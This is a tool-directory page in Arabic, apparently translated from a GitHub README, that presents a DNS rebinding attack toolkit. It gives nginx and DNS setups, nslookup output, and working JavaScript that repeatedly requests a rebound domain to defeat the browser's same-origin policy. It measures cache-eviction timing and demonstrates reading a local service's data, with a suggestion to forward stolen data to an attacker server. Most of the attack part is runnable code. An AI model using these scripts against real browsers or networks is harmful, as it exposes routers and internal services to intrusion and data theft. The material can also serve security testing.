Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/h43z/dns-rebinding-tool
استغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقتحليل DNS
GitHubh43z/dns-rebinding-tool

dns-rebinding-tool

أداة إعادة ربط DNS مع نصوص مخصصة

عرض المستودع
8583منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

مستوحى من @tavisio

هذا المشروع يهدف ليكون مجموعة أدوات شاملة لاختبار هجمات إعادة ربط DNS (DNS rebinding attacks) ونظريتي في فهم هذا النوع من الهجمات. يتكون من خادم ويب وخادم DNS زائف يستجيب فقط لاستعلامات A.

يسمح الجذر الرئيسي لخادم الويب بتكوين وتشغيل الهجوم باستخدام واجهة ويب أساسية. انظر dnsrebindtool.43z.one.

إعداد nginx أساسي لاستضافة خادم الويب

root@kitploit:~
server {
  listen 80;
  server_name dnsrebindtool.43z.one;

  location / {
    proxy_pass http://localhost:5000;
  }
}

يقرأ مسار /attack في خادم الويب معامل GET المسمى script والذي يجب أن يوفر كود جافاسكريبت مشفرًا بـ base64، ويستجيب بالكود المُفك تشفيره (ملفوفًا حول setTimeout) مضمنًا في صفحة HTML عادية.

root@kitploit:~
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" 
<html>
    <script>

    setTimeout(function(){
      alert(1) 
    }, 3000)

  </script>
</html

ضمن مسجل النطاق الخاص بي للنطاق 43z.one، قمت بإعداد سجل NS للنطاق الفرعي ليشير إلى IP حيث يتم استضافة هذه الأداة.

rebind
root@kitploit:~
ns       A   81.4.124.10
rebind   NS  ns.43z.one

يستجيب خادم DNS فقط لاستعلامات A بهذا التنسيق

evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one

الجزء الأول (النطاق الفرعي) هو مجرد معرف عشوائي ويجب إنشاؤه لكل جلسة هجوم (تقوم الواجهة الرسومية بذلك مع كل إعادة تحميل). يأتي ثانيًا عنوان IP الذي يجب أن يستجيب له خادم DNS خلال الثانيتين التاليتين، وثالثًا عنوان IP الذي يجب أن يستجيب له الخادم بعد انقضاء ذلك الوقت.

root@kitploit:~
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one 
Fri Feb  2 21:18:20 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb  2 21:18:23 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1

الجزء المفقود الأخير هو إعداد nginx للنطاقات المعاد ربطها (rebind domains). يجب تمرير مسار /attack فقط إلى الأداة، بينما يجب أن تستجيب المسارات الأخرى بخطأ. وهذا يسمح بمهاجمة خدمات أخرى على المنفذ 80 بجميع المسارات باستثناء /attack. (مثل /api/monitoring/stats وهو نقطة نهاية يكشف عنها جهاز التوجيه الخاص بي)

root@kitploit:~
server {
  listen 80;
  server_name *.rebind.43z.one;

  location / {
    return 404;
  }

  location /attack {
    proxy_pass http://localhost:5000/attack;
  }
}

إخلاء ذاكرة التخزين المؤقت لـ DNS

root@kitploit:~
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10

// sleep for more than 2 sec

xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP

هذه مشكلة لهذا النوع من الهجمات. لكي يعمل الهجوم، يجب على المتصفح إعادة إصدار استعلام DNS جديد للحصول على عنوان IP الثاني. نظريًا، إذا انتظرت وقتًا كافيًا بين الطلبات، يجب أن يحدث استعلام جديد. تظهر اختباراتي أنه يوجد نهج أسرع ولكنه أكثر عدوانية. من المحتمل جدًا أن يكون هذا خاصًا بإعداد معين. يحتاج إلى مزيد من الاختبارات. استخدمت السكريبت التالي لقياس القيمة المثلى لمتغير WAIT. تم اختباره على Chromium 62.0.3202.89 الذي يعمل على Debian buster/sid.

root@kitploit:~
var WAIT = 200
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, WAIT)
قيمة WAIT بالمللي ثانيةعدد الطلبات التي يرسلها Chromeالوقت حتى يتم الاستعلام عن DNS مرة أخرى
070060
1070060
10060063
12050063
15040063
18040075
20030063
22030069
25030078
28030087
30020063
32020067
34020071
36020075
38020079
40020083
1000100103

لقد بدأت مستودعًا جديدًا فقط لاستكشاف هذا مختبر إخلاء ذاكرة التخزين المؤقت لـ DNS

تجميع كل شيء معًا واختباره.

root@kitploit:~
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

مثيل netcat هذا يقدم بعض المحتوى الذي أرغب في الوصول إليه. أحتفظ بنطاق إعادة الربط الافتراضي
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one والسكريبت الافتراضي

root@kitploit:~
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, 200)

على dnsrebindtool.43z.one وأضغط على زر Attack. افتح علامة تبويب الشبكة في أدوات المطور لترى ما يحدث في الخلفية. بالنسبة لي، بعد حوالي 60 ثانية، تمتلئ السلسلة النصية TOPSECRET والوقت المستغرق. تجاوز إعادة ربط DNS سياسة Same-Origin Policy (SOP). لاستخراج البيانات المخترقة من iframe، يمكن استخدام Window.PostMessage() أو تضمين كود يقوم بإعادة توجيه البيانات إلى خادم مهاجم آخر داخل السكريبت نفسه.

تنزيل الأداة